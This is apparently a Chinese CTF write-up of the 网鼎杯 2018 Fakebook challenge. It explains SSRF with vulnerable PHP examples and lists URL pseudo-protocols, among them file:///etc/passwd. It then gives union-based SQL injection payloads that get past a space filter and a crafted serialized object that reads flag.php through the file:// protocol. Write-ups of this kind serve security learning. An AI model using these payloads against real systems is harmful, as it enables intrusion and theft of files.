当前位置:网站首页>SSRF漏洞file伪协议之[网鼎杯 2018]Fakebook1

SSRF漏洞file伪协议之[网鼎杯 2018]Fakebook1

2022-07-07 11:29:00 一只Traveler

关于SSRF漏洞(服务器端伪造)参考SSRF漏洞原理攻击与防御(超详细总结)_零点敲代码的博客-CSDN博客_ssrf漏洞防御

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

四、产生SSRF漏洞的函数

SSRF攻击可能存在任何语言编写的应用,接下来将举例php中可能存在SSRF漏洞的函数。

1、file_get_contents:

下面的代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。

<?php
if (isset($_POST['url'])) 
{ 
$content = file_get_contents($_POST['url']); 
$filename ='./images/'.rand().';img1.jpg'; 
file_put_contents($filename, $content); 
echo $_POST['url']; 
$img = "<img src=\"".$filename."\"/>"; 
} 
echo $img; 
?>

2、sockopen():

以下代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。

<?php 
function GetFile($host,$port,$link) 
{ 
$fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
if (!$fp) { 
echo "$errstr (error number $errno) \n"; 
} else { 
$out = "GET $link HTTP/1.1\r\n"; 
$out .= "Host: $host\r\n"; 
$out .= "Connection: Close\r\n\r\n"; 
$out .= "\r\n"; 
fwrite($fp, $out); 
$contents=''; 
while (!feof($fp)) { 
$contents.= fgets($fp, 1024); 
} 
fclose($fp); 
return $contents; 
} 
}
?>

3、curl_exec():

cURL这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在“curled”文件夹下的磁盘中,并附加了一个随机数和“.txt”文件扩展名。

<?php 
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
 
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result); 
echo $result;
}
?>

注意事项

一般情况下PHP不会开启fopen的gopher wrapper
file_get_contents的gopher协议不能URL编码
file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
curl_exec() 默认不跟踪跳转,
file_get_contents() file_get_contents支持php://input协议

五、SSRF中URL的伪协议

当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload

 上述知识点来源于章头参考;

从facebook这个例子来入手:

参考:[网鼎杯 2018]Fakebook_程序员届的小菜鸡的博客-CSDN博客

[网鼎杯 2018]Fakebook(ssrf漏洞)_天问_Herbert555的博客-CSDN博客

 首先注册之后登录可以发现存在我们注册的用户,点进去;

然后发现URL 中 的变量no,尝试sql注入:

使用注释符绕过:union/**/select

?no=-1 union/**/select 1,database(),3,4# (查数据库) 发现 'fakebook'
  ?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'# (查表名) 发现'users'
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#    (查字段)   字段名'no,username,data'

这里的联合注入,空格被过滤了,就用/**/代替,一系列常规下来发现:序列化后的东西:

 2.目录扫描,发现有robots.txt,还有flag.php;

打开robots,可以发现源码包;

分析源码:

 

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

在get方法中发现curl_exec 联想到ssrf ,再结合flag.php,使用file:协议,并且打开一个用户的源码可以看到data段的加密后的网页;

所以将blog改为file:///var/www/html/flag.php

可以反序列化一下,也可以直接改之前查到的序列化结果:把长度改为29,blog改一下就行:

构造:

?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

这里不懂的是,为什么在4的位置加序列化??

然后查看源码,data位置的base64编码解码就可;

还有一个非预期方法,就是load_file();具体参考;

原网站

版权声明
本文为[一只Traveler]所创,转载请带上原文链接,感谢
https://blog.csdn.net/qq_58970968/article/details/125643380